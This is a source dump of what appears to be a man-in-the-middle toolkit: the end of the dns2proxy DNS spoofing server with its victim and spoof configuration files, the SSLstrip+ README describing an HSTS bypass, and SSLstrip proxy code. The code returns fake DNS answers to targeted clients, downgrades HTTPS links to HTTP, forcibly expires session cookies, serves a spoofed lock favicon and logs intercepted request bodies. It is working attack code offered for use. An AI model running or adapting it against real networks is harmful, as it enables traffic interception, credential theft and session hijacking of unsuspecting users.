315 | return answers
316 |
317 |
318 | def requestHandler(address, message):
319 | resp = None
320 | dosleep = False
321 | try:
322 | message_id = ord(message[0]) * 256 + ord(message[1])
323 | DEBUGLOG('msg id = ' + str(message_id))
324 | if message_id in serving_ids:
325 | DEBUGLOG('I am already serving this request.')
326 | return
327 | serving_ids.append(message_id)
328 | DEBUGLOG('Client IP: ' + address[0])
329 | prov_ip = address[0]
330 | try:
331 | msg = dns.message.from_wire(message)
332 | try:
333 | op = msg.opcode()
334 | if op == 0:
335 | # standard and inverse query
336 | qs = msg.question
337 | if len(qs) > 0:
338 | q = qs[0]
339 | DEBUGLOG('request is ' + str(q))
340 | save_req(LOGREQFILE, 'Client IP: ' + address[0] + ' request is ' + str(q) + '\n')
341 | if q.rdtype == dns.rdatatype.A:
342 | DEBUGLOG('Doing the A query....')
343 | resp, dosleep = std_A_qry(msg, prov_ip)
344 | elif q.rdtype == dns.rdatatype.PTR:
345 | #DEBUGLOG('Doing the PTR query....')
346 | resp = std_PTR_qry(msg)
347 | elif q.rdtype == dns.rdatatype.MX:
348 | DEBUGLOG('Doing the MX query....')
349 | resp = std_MX_qry(msg)
350 | elif q.rdtype == dns.rdatatype.TXT:
351 | #DEBUGLOG('Doing the TXT query....')
352 | resp = std_TXT_qry(msg)
353 | elif q.rdtype == dns.rdatatype.AAAA:
354 | #DEBUGLOG('Doing the AAAA query....')
355 | resp = std_AAAA_qry(msg)
356 | else:
357 | # not implemented
358 | resp = make_response(qry=msg, RCODE=4) # RCODE = 4 Not Implemented
359 | else:
360 | # not implemented
361 | resp = make_response(qry=msg, RCODE=4) # RCODE = 4 Not Implemented
362 |
363 | except Exception, e:
364 | DEBUGLOG('got ' + repr(e))
365 | resp = make_response(qry=msg, RCODE=2) # RCODE = 2 Server Error
366 | DEBUGLOG('resp = ' + repr(resp.to_wire()))
367 | except Exception, e:
368 | DEBUGLOG('got ' + repr(e))
369 | resp = make_response(id=message_id, RCODE=1) # RCODE = 1 Format Error
370 | DEBUGLOG('resp = ' + repr(resp.to_wire()))
371 | except Exception, e:
372 | # message was crap, not even the ID
373 | DEBUGLOG('got ' + repr(e))
374 |
375 | if resp:
376 | s.sendto(resp.to_wire(), address)
377 | if dosleep: sleep(1) # Performance downgrade no tested jet
378 |
379 |
380 | def std_PTR_qry(msg):
381 | qs = msg.question
382 | DEBUGLOG( str(len(qs)) + ' questions.')
383 | iparpa = qs[0].to_text().split(' ', 1)[0]
384 | DEBUGLOG('Host: ' + iparpa)
385 | resp = make_response(qry=msg)
386 | hosts = respuestas(iparpa[:-1], 'PTR')
387 | if isinstance(hosts, numbers.Integral):
388 | DEBUGLOG('No host....')
389 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN
390 | return resp
391 |
392 | for host in hosts:
393 | DEBUGLOG('Adding ' + host.to_text())
394 | rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.PTR, host.to_text())
395 | resp.answer.append(rrset)
396 |
397 | return resp
398 |
399 |
400 | def std_MX_qry(msg):
401 | qs = msg.question
402 | DEBUGLOG(str(len(qs)) + ' questions.')
403 | iparpa = qs[0].to_text().split(' ', 1)[0]
404 | DEBUGLOG('Host: ' + iparpa)
405 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN
406 | return resp
407 | #Temporal disable MX responses
408 | resp = make_response(qry=msg)
409 | hosts = respuestas(iparpa[:-1], 'MX')
410 | if isinstance(hosts, numbers.Integral):
411 | DEBUGLOG('No host....')
412 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN
413 | return resp
414 |
415 | for host in hosts:
416 | DEBUGLOG('Adding ' + host.to_text())
417 | rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.MX, host.to_text())
418 | resp.answer.append(rrset)
419 |
420 | return resp
421 |
422 |
423 | def std_TXT_qry(msg):
424 | qs = msg.question
425 | print str(len(qs)) + ' questions.'
426 | iparpa = qs[0].to_text().split(' ', 1)[0]
427 | print 'Host: ' + iparpa
428 | resp = make_response(qry=msg)
429 |
430 | host = iparpa[:-1]
431 | punto = host.find(".")
432 | dominio = host[punto:]
433 | host = "."+host
434 | spfresponse = ''
435 | if (dominio in dominios) or (host in dominios):
436 | ttl = 1
437 | DEBUGLOG('Alert domain! (TXT) ID: ' + host)
438 | # Here the HANDLE!
439 | #os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip));
440 | save_req(LOGALERTFILE, 'Alert domain! (TXT) ID: ' + host+ '\n')
441 | if host in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%host
442 | if dominio in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%dominio
443 | DEBUGLOG('Responding with SPF = ' + spfresponse)
444 | rrset = dns.rrset.from_text(iparpa, ttl, dns.rdataclass.IN, dns.rdatatype.TXT, spfresponse)
445 | resp.answer.append(rrset)
446 | return resp
447 |
448 |
449 | hosts = respuestas(iparpa[:-1], 'TXT')
450 | if isinstance(hosts, numbers.Integral):
451 | print 'No host....'
452 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN
453 | return resp
454 |
455 | for host in hosts:
456 | print 'Adding ' + host.to_text()
457 | rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.TXT, host.to_text())
458 | resp.answer.append(rrset)
459 |
460 | return resp
461 |
462 | def std_SPF_qry(msg):
463 | qs = msg.question
464 | print str(len(qs)) + ' questions.'
465 | iparpa = qs[0].to_text().split(' ', 1)[0]
466 | print 'Host: ' + iparpa
467 | resp = make_response(qry=msg)
468 |
469 | # host = iparpa[:-1]
470 | # punto = host.find(".")
471 | # dominio = host[punto:]
472 | # host = "."+host
473 | # if (dominio in dominios) or (host in dominios):
474 | # ttl = 1
475 | # DEBUGLOG('Alert domain! (TXT) ID: ' + host)
476 | # # Here the HANDLE!
477 | # #os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip));
478 | # save_req(LOGALERTFILE, 'Alert domain! (TXT) ID: ' + host+ '\n')
479 | # if host in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%host
480 | # if dominio in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%dominio
481 | # DEBUGLOG('Responding with SPF = ' + spfresponse)
482 | # rrset = dns.rrset.from_text(iparpa, ttl, dns.rdataclass.IN, dns.rdatatype.TXT, spfresponse)
483 | # resp.answer.append(rrset)
484 | # return resp
485 |
486 |
487 | hosts = respuestas(iparpa[:-1], 'SPF')
488 | if isinstance(hosts, numbers.Integral):
489 | print 'No host....'
490 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN
491 | return resp
492 |
493 | for host in hosts:
494 | print 'Adding ' + host.to_text()
495 | rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.SPF, host.to_text())
496 | resp.answer.append(rrset)
497 |
498 | return resp
499 |
500 | def std_AAAA_qry(msg):
501 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN
502 | return resp
503 |
504 | def std_A_qry(msg, prov_ip):
505 | global consultas
506 | global ip1
507 | global ip2
508 | global fake_ips
509 |
510 | dosleep = False
511 | qs = msg.question
512 | DEBUGLOG(str(len(qs)) + ' questions.')
513 | resp = make_response(qry=msg)
514 | for q in qs:
515 | qname = q.name.to_text()[:-1]
516 | DEBUGLOG('q name = ' + qname)
517 |
518 | host = qname.lower()
519 |
520 | # dom1 = None
521 | # dominio = None
522 |
523 | # punto1 = host.rfind(".")
524 | # punto2 = host.rfind(".",0,punto1-1)
525 |
526 | # if punto1 > -1:
527 | # dom1 = host[punto1:]
528 |
529 | # if punto2 > -1:
530 | # dominio = host[punto2:]
531 |
532 |
533 | find_host = None
534 | for d in dominios:
535 | if d in host:
536 | find_host = d
537 |
538 | if (find_host is not None):
539 | ttl = 1
540 | # id = host[:punto2]
541 | # if dom1 in dominios:
542 | # id = host[:punto1]
543 | # dominio = dom1
544 |
545 | DEBUGLOG('Alert domain! ID: ' + host)
546 | # Here the HANDLE!
547 | #os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip));
548 | handler_msg(host)
549 | save_req(LOGALERTFILE, 'Alert domain! ID: ' + host + '\n')
550 |
551 | if host not in spoof:
552 | DEBUGLOG('Responding with IP = ' + dominios[find_host])
553 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, dominios[find_host])
554 | else:
555 | DEBUGLOG('Responding with IP = ' + spoof[host])
556 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, spoof[host])
557 |
558 | resp.answer.append(rrset)
559 | return resp, dosleep
560 |
561 | if ".%s"%host in dominios:
562 | dominio = ".%s"%host
563 | ttl = 1
564 | DEBUGLOG('Responding with IP = ' + dominios[dominio])
565 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, dominios[dominio])
566 | resp.answer.append(rrset)
567 | return resp, dosleep
568 |
569 | ips = respuestas(qname.lower(), 'A')
570 | if qname.lower() not in spoof and isinstance(ips, numbers.Integral):
571 | # SSLSTRIP2 transformation
572 | punto = host.find(".")
573 | dominio = host[punto:]
574 | host2 = ''
575 | if host[:5] == 'wwww.' or host[:7] == 'social.':
576 | host2 = 'www%s' % dominio
577 | elif host[:3] == 'web':
578 | host2 = host[3:]
579 | elif host[:7] == 'cuentas':
580 | host2 = 'accounts%s' % dominio
581 | elif host[:5] == 'gmail':
582 | host2 = 'mail%s' % dominio
583 | elif host == 'chatenabled.gmail.google.com': # Yes, It is ugly....
584 | host2 = 'chatenabled.mail.google.com'
585 | if host2 != '':
586 | DEBUGLOG('SSLStrip transforming host: %s => %s ...' % (host, host2))
587 | ips = respuestas(host2, 'A')
588 |
589 | #print '>>> Victim: %s Answer 0: %s'%(prov_ip,prov_resp)
590 |
591 | if isinstance(ips, numbers.Integral):
592 | DEBUGLOG('No host....')
593 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN
594 | return resp, dosleep
595 |
596 | prov_resp = ips[0]
597 | consultas[prov_ip] = prov_resp
598 |
599 | ttl = 1
600 | if (host not in nospoof) and (prov_ip not in nospoofto) and (len(victims) == 0 or prov_ip in victims):
601 | if host in spoof:
602 | save_req(LOGREQFILE, '!!! Specific host (' + host + ') asked....\n')
603 | for spoof_ip in spoof[host].split(","):
604 | DEBUGLOG('Adding fake IP = ' + spoof_ip)
605 | rrset = dns.rrset.from_text(q.name, 1000, dns.rdataclass.IN, dns.rdatatype.A, spoof_ip)
606 | resp.answer.append(rrset)
607 | return resp, dosleep
608 | elif Forward:
609 | consultas[prov_ip] = prov_resp
610 | #print 'DEBUG: Adding consultas[%s]=%s'%(prov_ip,prov_resp)
611 | if ip1 is not None:
612 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, ip1)
613 | DEBUGLOG('Adding fake IP = ' + ip1)
614 | resp.answer.append(rrset)
615 | if ip2 is not None:
616 | #Sleep only when using global resquest matrix
617 | dosleep = True
618 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, ip2)
619 | DEBUGLOG('Adding fake IP = ' + ip2)
620 | resp.answer.append(rrset)
621 | if len(fake_ips)>0:
622 | for fip in fake_ips:
623 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, fip)
624 | DEBUGLOG('Adding fake IP = ' + fip)
625 | resp.answer.append(rrset)
626 |
627 | if not Forward and prov_ip not in nospoofto:
628 | if len(fake_ips) == 0:
629 | DEBUGLOG('No forwarding....')
630 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN
631 | elif len(fake_ips) > 0:
632 | DEBUGLOG('No forwarding (but adding fake IPs)...')
633 | for fip in fake_ips:
634 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, fip)
635 | DEBUGLOG('Adding fake IP = ' + fip)
636 | resp.answer.append(rrset)
637 | return resp, dosleep
638 |
639 | for realip in ips:
640 | DEBUGLOG('Adding real IP = ' + realip.to_text())
641 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, realip.to_text())
642 | resp.answer.append(rrset)
643 |
644 | return resp, dosleep
645 |
646 |
647 | # def std_A2_qry(msg):
648 | # qs = msg.question
649 | # DEBUGLOG(str(len(qs)) + ' questions.')
650 | # iparpa = qs[0].to_text().split(' ',1)[0]
651 | # print 'Host: '+ iparpa
652 | # resp = make_response(qry=msg)
653 | # rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.A, '4.4.45.4')
654 | # resp.answer.append(rrset)
655 | # return resp
656 |
657 | def std_ASPOOF_qry(msg):
658 | global spoof
659 | qs = msg.question
660 | DEBUGLOG(str(len(qs)) + ' questions.')
661 | iparpa = qs[0].to_text().split(' ', 1)[0]
662 | DEBUGLOG('Host: ' + iparpa)
663 | resp = make_response(qry=msg)
664 |
665 | for q in qs:
666 | qname = q.name.to_text()[:-1]
667 | DEBUGLOG('q name = ' + qname) + ' to resolve ' + spoof[qname]
668 | # rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.facebook.com.')
669 | # resp.answer.append(rrset)
670 | # rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.yahoo.com.')
671 | # resp.answer.append(rrset)
672 | # rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.tuenti.com.')
673 | # resp.answer.append(rrset)
674 | # rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.twitter.com.')
675 | # resp.answer.append(rrset)
676 | rrset = dns.rrset.from_text(q.name, 1000, dns.rdataclass.IN, dns.rdatatype.A, spoof[qname])
677 | resp.answer.append(rrset)
678 | return resp
679 |
680 |
681 | def make_response(qry=None, id=None, RCODE=0):
682 | if qry is None and id is None:
683 | raise Exception, 'bad use of make_response'
684 | if qry is None:
685 | resp = dns.message.Message(id)
686 | # QR = 1
687 | resp.flags |= dns.flags.QR
688 | if RCODE != 1:
689 | raise Exception, 'bad use of make_response'
690 | else:
691 | resp = dns.message.make_response(qry)
692 | resp.flags |= dns.flags.AA
693 | resp.flags |= dns.flags.RA
694 | resp.set_rcode(RCODE)
695 | return resp
696 |
697 |
698 | process_files()
699 | Resolver.reset()
700 | Resolver.read_resolv_conf(RESOLVCONF)
701 | signal.signal(signal.SIGUSR1, SIGUSR1_handle)
702 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
703 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
704 | s.bind(('', 53))
705 | if Forward:
706 | DEBUGLOG('DNS Forwarding activado....')
707 | else:
708 | DEBUGLOG('DNS Forwarding desactivado....')
709 |
710 | DEBUGLOG('binded to UDP port 53.')
711 | serving_ids = []
712 | noserv = True
713 |
714 | if ip1 is not None and ip2 is not None and Forward:
715 | sniff = ThreadSniffer()
716 | sniff.start()
717 |
718 | while True:
719 | if noserv:
720 | DEBUGLOG('waiting requests.')
721 |
722 | try:
723 | message, address = s.recvfrom(1024)
724 | noserv = True
725 | except socket.error as (code, msg):
726 | if code != errno.EINTR:
727 | raise
728 |
729 | if noserv:
730 | DEBUGLOG('serving a request.')
731 | requestHandler(address, message)
732 |
--------------------------------------------------------------------------------
/src/dns2proxy/domains.cfg:
--------------------------------------------------------------------------------
1 | .domain.com 8.8.9.9
2 | .thisisalongdomainnameasdfasdfafsd.com 178.62.64.250
3 |
--------------------------------------------------------------------------------
/src/dns2proxy/nospoof.cfg:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/src/dns2proxy/nospoofto.cfg:
--------------------------------------------------------------------------------
1 | 127.0.0.1
2 |
3 |
--------------------------------------------------------------------------------
/src/dns2proxy/resolv.conf:
--------------------------------------------------------------------------------
1 | nameserver 8.8.8.8
2 |
--------------------------------------------------------------------------------
/src/dns2proxy/spoof.cfg:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/src/dns2proxy/victims.cfg:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/src/sslstrip2/README.md:
--------------------------------------------------------------------------------
1 | THIS IS JUST A COPY OF A FORK OF THE OFFICAL SSLSTRIP+ REPOSITORY
2 | ========
3 |
4 | SSLstrip+
5 | ========
6 |
7 | This is just a mirror of the original SSLstrip+ code by Leonardo Nve, which had to be taken down because of a gag order.
8 |
9 | **For this to work you also need a DNS server that reverses the changes made by the proxy, you can find it at https://github.com/singe/dns2proxy**
10 |
11 | Description
12 | ===========
13 |
14 | This is a new version of [Moxie´s SSLstrip] (http://www.thoughtcrime.org/software/sslstrip/) with the new feature to avoid HTTP Strict Transport Security (HSTS) protection mechanism.
15 |
16 | This version changes HTTPS to HTTP as the original one plus the hostname at html code to avoid HSTS. Check my slides at BlackHat ASIA 2014 [OFFENSIVE: EXPLOITING DNS SERVERS CHANGES] (http://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) for more information.
17 |
18 | Demo video at: http://www.youtube.com/watch?v=uGBjxfizy48
19 |
--------------------------------------------------------------------------------
/src/sslstrip2/build/lib.linux-i686-2.6/sslstrip/ClientRequest.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import urlparse, logging, os, sys, random, re
20 |
21 | from twisted.web.http import Request
22 | from twisted.web.http import HTTPChannel
23 | from twisted.web.http import HTTPClient
24 |
25 | from twisted.internet import ssl
26 | from twisted.internet import defer
27 | from twisted.internet import reactor
28 | from twisted.internet.protocol import ClientFactory
29 |
30 | from ServerConnectionFactory import ServerConnectionFactory
31 | from ServerConnection import ServerConnection
32 | from SSLServerConnection import SSLServerConnection
33 | from URLMonitor import URLMonitor
34 | from CookieCleaner import CookieCleaner
35 | from DnsCache import DnsCache
36 |
37 | class ClientRequest(Request):
38 |
39 | ''' This class represents incoming client requests and is essentially where
40 | the magic begins. Here we remove the client headers we dont like, and then
41 | respond with either favicon spoofing, session denial, or proxy through HTTP
42 | or SSL to the server.
43 | '''
44 |
45 | def __init__(self, channel, queued, reactor=reactor):
46 | Request.__init__(self, channel, queued)
47 | self.reactor = reactor
48 | self.urlMonitor = URLMonitor.getInstance()
49 | self.cookieCleaner = CookieCleaner.getInstance()
50 | self.dnsCache = DnsCache.getInstance()
51 | # self.uniqueId = random.randint(0, 10000)
52 |
53 | def cleanHeaders(self):
54 | headers = self.getAllHeaders().copy()
55 |
56 | if 'accept-encoding' in headers:
57 | del headers['accept-encoding']
58 |
59 | if 'referer' in headers:
60 | real = self.urlMonitor.real
61 | if len(real)>0:
62 | dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys())))
63 | headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer'])
64 |
65 | if 'if-modified-since' in headers:
66 | del headers['if-modified-since']
67 |
68 | if 'cache-control' in headers:
69 | del headers['cache-control']
70 |
71 | if 'if-none-match' in headers:
72 | del headers['if-none-match']
73 |
74 | if 'host' in headers:
75 | host = self.urlMonitor.URLgetRealHost("%s"%headers['host'])
76 | logging.debug("Modifing HOST header: %s -> %s"%(headers['host'],host))
77 | headers['host'] = host
78 | headers['securelink'] = '1'
79 | self.setHeader('Host',host)
80 |
81 | return headers
82 |
83 | def getPathFromUri(self):
84 | if (self.uri.find("http://") == 0):
85 | index = self.uri.find('/', 7)
86 | return self.uri[index:]
87 |
88 | return self.uri
89 |
90 |
91 | def getPathToLockIcon(self):
92 | if os.path.exists("lock.ico"): return "lock.ico"
93 |
94 | scriptPath = os.path.abspath(os.path.dirname(sys.argv[0]))
95 | scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico")
96 |
97 | if os.path.exists(scriptPath): return scriptPath
98 |
99 | logging.warning("Error: Could not find lock.ico")
100 | return "lock.ico"
101 |
102 | def save_req(self,lfile,str):
103 | f = open(lfile,"a")
104 | f.write(str)
105 | f.close()
106 |
107 | def handleHostResolvedSuccess(self, address):
108 | headers = self.cleanHeaders()
109 | # for header in headers:
110 | # logging.debug("HEADER %s = %s",header,headers[header])
111 | logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host').lower(), address))
112 | lhost = self.getHeader("host").lower()
113 | host = self.urlMonitor.URLgetRealHost("%s"%lhost)
114 | client = self.getClientIP()
115 | path = self.getPathFromUri()
116 | self.content.seek(0,0)
117 | postData = self.content.read()
118 | real = self.urlMonitor.real
119 | patchDict = self.urlMonitor.patchDict
120 |
121 | if len(real)>0:
122 | dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys())))
123 | path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path)
124 | postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData)
125 | if len(patchDict)>0:
126 | dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys())))
127 | postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData)
128 |
129 | url = 'http://' + host + path
130 | headers['content-length']="%d"%len(postData)
131 |
132 | self.dnsCache.cacheResolution(host, address)
133 | if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
134 | logging.debug("Sending expired cookies...")
135 | self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client,
136 | host, headers, path))
137 | elif (self.urlMonitor.isSecureFavicon(client, path)):
138 | logging.debug("Sending spoofed favicon response...")
139 | self.sendSpoofedFaviconResponse()
140 | elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
141 | if 'securelink' in headers:
142 | del headers['securelink']
143 | logging.debug("LEO Sending request via SSL...(%s %s)"%(client,url))
144 | self.proxyViaSSL(address, self.method, path, postData, headers,
145 | self.urlMonitor.getSecurePort(client, url))
146 | else:
147 | logging.debug("LEO Sending request via HTTP...")
148 | self.proxyViaHTTP(address, self.method, path, postData, headers)
149 |
150 | def handleHostResolvedError(self, error):
151 | logging.warning("Host resolution error: " + str(error))
152 | self.finish()
153 |
154 | def resolveHost(self, host):
155 | address = self.dnsCache.getCachedAddress(host)
156 |
157 | if address != None:
158 | logging.debug("Host cached.")
159 | return defer.succeed(address)
160 | else:
161 | logging.debug("Host not cached.")
162 | return reactor.resolve(host)
163 |
164 | def process(self):
165 | host = self.urlMonitor.URLgetRealHost("%s"%self.getHeader('host'))
166 | logging.debug("Resolving host: %s" % host)
167 | deferred = self.resolveHost(host)
168 |
169 | deferred.addCallback(self.handleHostResolvedSuccess)
170 | deferred.addErrback(self.handleHostResolvedError)
171 |
172 | def proxyViaHTTP(self, host, method, path, postData, headers):
173 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self)
174 | self.save_req("debug_ssl.log",method+' http://'+host+path+'\n'+str(headers)+'\n'+postData+'\n')
175 | connectionFactory.protocol = ServerConnection
176 | self.reactor.connectTCP(host, 80, connectionFactory)
177 |
178 | def proxyViaSSL(self, host, method, path, postData, headers, port):
179 | self.save_req("debug_ssl.log",method+' https://'+host+path+'\n'+str(headers)+'\n'+postData+'\n')
180 | clientContextFactory = ssl.ClientContextFactory()
181 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self)
182 | connectionFactory.protocol = SSLServerConnection
183 | self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory)
184 |
185 | def sendExpiredCookies(self, host, path, expireHeaders):
186 | self.setResponseCode(302, "Moved")
187 | self.setHeader("Connection", "close")
188 | self.setHeader("Location", "http://" + host + path)
189 |
190 | for header in expireHeaders:
191 | self.setHeader("Set-Cookie", header)
192 |
193 | self.finish()
194 |
195 | def sendSpoofedFaviconResponse(self):
196 | icoFile = open(self.getPathToLockIcon())
197 |
198 | self.setResponseCode(200, "OK")
199 | self.setHeader("Content-type", "image/x-icon")
200 | self.write(icoFile.read())
201 |
202 | icoFile.close()
203 | self.finish()
204 |
--------------------------------------------------------------------------------
/src/sslstrip2/build/lib.linux-i686-2.6/sslstrip/CookieCleaner.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2011 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging
20 | import string
21 |
22 | class CookieCleaner:
23 | '''This class cleans cookies we haven't seen before. The basic idea is to
24 | kill sessions, which isn't entirely straight-forward. Since we want this to
25 | be generalized, there's no way for us to know exactly what cookie we're trying
26 | to kill, which also means we don't know what domain or path it has been set for.
27 |
28 | The rule with cookies is that specific overrides general. So cookies that are
29 | set for mail.foo.com override cookies with the same name that are set for .foo.com,
30 | just as cookies that are set for foo.com/mail override cookies with the same name
31 | that are set for foo.com/
32 |
33 | The best we can do is guess, so we just try to cover our bases by expiring cookies
34 | in a few different ways. The most obvious thing to do is look for individual cookies
35 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often
36 | set by Javascript instead of a Set-Cookie header, and if we block those the site
37 | will think cookies are disabled in the browser. So we do the expirations and whitlisting
38 | based on client,server tuples. The first time a client hits a server, we kill whatever
39 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective.
40 |
41 | '''
42 |
43 | _instance = None
44 |
45 | def getInstance():
46 | if CookieCleaner._instance == None:
47 | CookieCleaner._instance = CookieCleaner()
48 |
49 | return CookieCleaner._instance
50 |
51 | getInstance = staticmethod(getInstance)
52 |
53 | def __init__(self):
54 | self.cleanedCookies = set();
55 | self.enabled = False
56 |
57 | def setEnabled(self, enabled):
58 | self.enabled = enabled
59 |
60 | def isClean(self, method, client, host, headers):
61 | if method == "POST": return True
62 | if not self.enabled: return True
63 | if not self.hasCookies(headers): return True
64 |
65 | return (client, self.getDomainFor(host)) in self.cleanedCookies
66 |
67 | def getExpireHeaders(self, method, client, host, headers, path):
68 | domain = self.getDomainFor(host)
69 | self.cleanedCookies.add((client, domain))
70 |
71 | expireHeaders = []
72 |
73 | for cookie in headers['cookie'].split(";"):
74 | cookie = cookie.split("=")[0].strip()
75 | expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path)
76 | expireHeaders.extend(expireHeadersForCookie)
77 |
78 | return expireHeaders
79 |
80 | def hasCookies(self, headers):
81 | return 'cookie' in headers
82 |
83 | def getDomainFor(self, host):
84 | hostParts = host.split(".")
85 | return "." + hostParts[-2] + "." + hostParts[-1]
86 |
87 | def getExpireCookieStringFor(self, cookie, host, domain, path):
88 | pathList = path.split("/")
89 | expireStrings = list()
90 |
91 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain +
92 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
93 |
94 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host +
95 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
96 |
97 | if len(pathList) > 2:
98 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
99 | domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
100 |
101 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
102 | host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
103 |
104 | return expireStrings
105 |
106 |
107 |
--------------------------------------------------------------------------------
/src/sslstrip2/build/lib.linux-i686-2.6/sslstrip/DnsCache.py:
--------------------------------------------------------------------------------
1 |
2 | class DnsCache:
3 |
4 | '''
5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience.
6 | '''
7 |
8 | _instance = None
9 |
10 | def __init__(self):
11 | self.cache = {}
12 |
13 | def cacheResolution(self, host, address):
14 | self.cache[host] = address
15 |
16 | def getCachedAddress(self, host):
17 | if host in self.cache:
18 | return self.cache[host]
19 |
20 | return None
21 |
22 | def getInstance():
23 | if DnsCache._instance == None:
24 | DnsCache._instance = DnsCache()
25 |
26 | return DnsCache._instance
27 |
28 | getInstance = staticmethod(getInstance)
29 |
--------------------------------------------------------------------------------
/src/sslstrip2/build/lib.linux-i686-2.6/sslstrip/SSLServerConnection.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
